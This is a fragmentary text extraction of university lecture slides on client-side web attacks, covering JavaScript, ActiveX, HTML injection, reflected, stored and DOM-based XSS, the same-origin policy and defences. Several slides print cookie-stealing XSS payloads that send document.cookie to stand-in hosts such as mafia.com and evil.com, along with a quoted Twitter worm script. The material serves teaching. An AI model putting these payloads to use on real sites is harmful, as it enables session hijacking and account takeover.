Software and Web Security 2
Attacks on Clients: Dynamic Content & XSS
(Section 7.1.3 on JavaScript; 7.2.4 on Media content; 7.2.6 on XSS)
sws2 1
Attacks on Clients: Dynamic Content & XSS (Section 7.1.3 on - - PowerPoint PPT Presentation
Software and Web Security 2 Attacks on Clients: Dynamic Content & XSS (Section 7.1.3 on JavaScript; 7.2.4 on Media content; 7.2.6 on XSS) sws2 1 Recap from last lecture Attacks on web server: attacker/client sends malicious input
sws2 1
sws2 2
web server execution to dynamically create a webpage malicious input
sws2 3
malicious input
file system
another user
(discussed in this lecture)
sws2 4
web browser web server
sws2 5
huge size could crash Internet Explorer and freeze Windows machine <HTML><BODY> <img src=”a.jpg” width =”999999999” height=“99999999”> </BODY><HTML>
sws2 6
sws2 7
sws2 8
sws2 9
execution aka processing client-side scripting web browser web server
sws2 10
sws2 11
runs in Internet Explorer (IE)
plus Microsoft OS update can set kill bit to stop dangerous controls
– allow, block, prompt – also control by administrator
downside: OS patching might miss Java patching
binary code is for specific machine, byte code is interpreted by virtual machine
sws2 12
What is the Kill-Bit?
particular ActiveX control, marking it as non-loadable in browser
updates to block vulnerable ActiveX controls
sws2 13
JavaScript is the leading language used in client-side scripting
embedded in web page to support client-side dynamic behaviour
reacting on events (eg keyboard) and interacting with webpage
– dynamic user interaction with the web page
Eg opening and closing menus, changing pictures,... JavaScript code can completely rewrite the contents of an HTML page!
– client-side input validation
Eg has the user entered a correct date, a syntactically correct email address
NB such validation should not be security critical! Why? Malicious client can by-pass such validation!
sws2 14
<script type=“text/javascript”> ... </script>
<script> alert(“Hello World!”); </script> A web page can define additional functions
<script>function hi(){alert(“Hello World!”);}</script>
<img src=“pic.jpg” onMouseOver=“javascript:hi()”>
Some examples in http://www.cs.ru.nl/~erikpoll/sws2/demo/demo_javascript.html
sws2 15
sws2 16
Eg it allows scripts to change layout and content of the webpage, open and menus in the webpage,...
See http://www.cs.ru.nl/~erikpoll/sws2/demo/demo_DOM.html for some examples
sws2 17
sws2 18
sws2 19
sws2 20
21
Search No matches found for sos
sws2
sos sos
22
<h1> <h1>sos sos</h1> h1> Search No matches found for
sws2
sws2 23
<h1> <h1>sos sos</h1> h1> Search No matches found for sos
Here < and > written as < and > in the HTML source <h1> <h1>sos sos</h1> h1> Search No matches found for <h1>sos</h1>
<img source=http://www.spam.org/advert.jpg>
sws2 24
<img source=“ Search No matches found for
<script language=“text/javascript"> alert(‘Hello World!'); </script>
sws2 25
<script langu Search No matches found for
http://cnn.com/search?string=“<h1>Obama sends US troops to Kiev</h1> <img=.......>” Such HTML injections abuses trust that a user has in a website: the user believes the content is from the website, when in fact it comes from an attacker
sws2 26
Usually injected scripts are JavaScript, but could be Flash, ActiveX, Java, ...
sws2 27
sws2 28
malicious
sws2 29
processing of malicious scripts
unwanted requests malicious output
sws2 30
<script> img = new Image(); img.src =“http://mafia.com/” + encodeURI(document.cookie) </script> Better because the user won’t notice a change in the webpage when this script is executed, unlike the one on the previous page
sws2 31
<iframe frameborder=0 src=“” height=0 width=0 id=“XSS” name=“XSS”></iframe> <script> frames[“XSS”].location.href=“http://mafia.com/steal.php ?cookie=” + document.cookie; </script>
sws2 32
sws2 33
by sending an email that includes the link, or posting this link on a website
sws2 34
sws2 35
malicious URL
HTML containing malicious output
sws2 36
Web Server
Attacker User
attacker obtains cookie
<a href=”http://trusted.com/ <script> document.location='http://evil.com/steal.php?' + document.cookie </script>”>Click here for your free prize!</a>
sws2 37
– some web forum – a book review on amazon.com – a posting on blackboard.ru.nl – ... Web2.0 web sites, which allow user-generated content, are ideal for this.
sws2 38
sws2 39
malicious input
another user
attacker storing malicious content
HTML containing malicious output
<script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </script>
Eg, for http://bla.com/welcome.html?name=Jan it will return Jan
eg http://bla.com/welcome.html?name=<script>...
sws2 40
Details depend on the browser
sws2 41
sws2 42
sws2 43
Included in twitter profile:
where attack.js includes the following attack code var update = urlencode("Hey everyone, join www.StalkDaily.com."); var ajaxConn = new XHConn();... ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+“ &tab=home&update=update"); var set = urlencode('http://stalkdaily.com"></a><script src="http://evil.org/attack.js"> </script><script src="http://evil.org/attack.js"></script><a '); ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+set+“ &tab=home&update=update");
sws2 44
change profile to include the attack code! tweet the link executed when you see this profile
sws2 45
sws2 46
client browser twitter.com mafia.com
– eg <http, ru.nl, 80>, <https, ru.nl, 1080>
See demos in http://www.cs.ru.nl/~erikpoll/sws2/demo/test_SOP.html and http://www.cs.ru.nl/~erikpoll/sws2/demo/test_SOP2.html
sws2 47
sws2 48
attacker browser
sws2 49
client browser twitter.com attacker uploads malicious content user’s browser can’t distinguish between good & bad scripts mafia.com
sws2 50
sws2 51
– using ‘ ; .... in SQL – using <img> <script> ... in HTML
sws2 52
sws2 53
For example, NoScript extension of Firefox NotScripts and ScriptSafe extension of Chrome
Does not help with stored XSS. Why? Ad-blocker plugins can also reduce the risk of XSS
sws2 54
– include IP address in cookie – only allow access to original IP address that cookie was created for
sws2 55
document.images[0].src=“www.attacker.com/”+ document.cookie;
document.scripts(0).src ="http://mafia.com/evilscript.js“
var n = new RegExp(“http: myserver evilscr.js”); forslash = location.href.charAt(6); ...
sws2 56